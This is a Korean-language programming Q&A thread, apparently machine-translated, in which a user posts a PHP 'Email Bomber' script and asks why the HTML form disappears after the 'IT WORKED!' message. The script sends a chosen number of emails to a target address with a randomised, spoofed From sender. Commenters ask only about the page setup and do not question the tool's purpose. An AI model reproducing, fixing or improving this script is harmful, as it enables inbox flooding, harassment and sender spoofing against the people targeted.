어떤 이유로이 스크립트는 "IT WORKED!"라는 메시지가 표시되는 지점까지 실행될 때마다 메시지가 표시되지만 위의 양식은 사라집니다. 에코 할 때 양식 유지
내 코드 :<?php
$message = $_REQUEST['message'];
$email = $_REQUEST['email'];
$times = $_REQUEST['times'];
$subject = $_REQUEST['subject'];
$to = $_REQUEST['to'];
for ($i=1; $i<=$times; $i++) {
mail("$to", "$subject", $message, "From:" . rand() . "@$email") ;
}
?>
<form method="POST" id="email">
<h1>Email Bomber</h1>
<fieldset id="inputs">
<input name="times" type="text" placeholder="How Many Emails" autofocus required>
<input name="email" type="text" placeholder="Email Suffix" autofocus required>
<input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required>
<input name="subject" type="text" placeholder="Email Subject" autofocus required>
<textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
</fieldset>
<fieldset id="actions">
<input type="submit" id="submit" name="Send" value="Send Email">
</fieldset>
</form>
<?php
if (isset($_REQUEST['message'])) {
echo "IT WORKED!";
}
?>
이 스크립트의 전체 내용이거나, 다른 페이지에 삽입 되었습니까? 당신은 이것에 게시하고 있습니까? –
스타일 시트 외에도이 모든 것이 있습니다. 그리고 네, 데이터를 검색하기 위해 REQUESTS 명령으로 POST를 사용하고 있습니다. – JakeRasinSmith
그래서이 스크립트가 삽입 된 HTML 페이지가 있습니까? –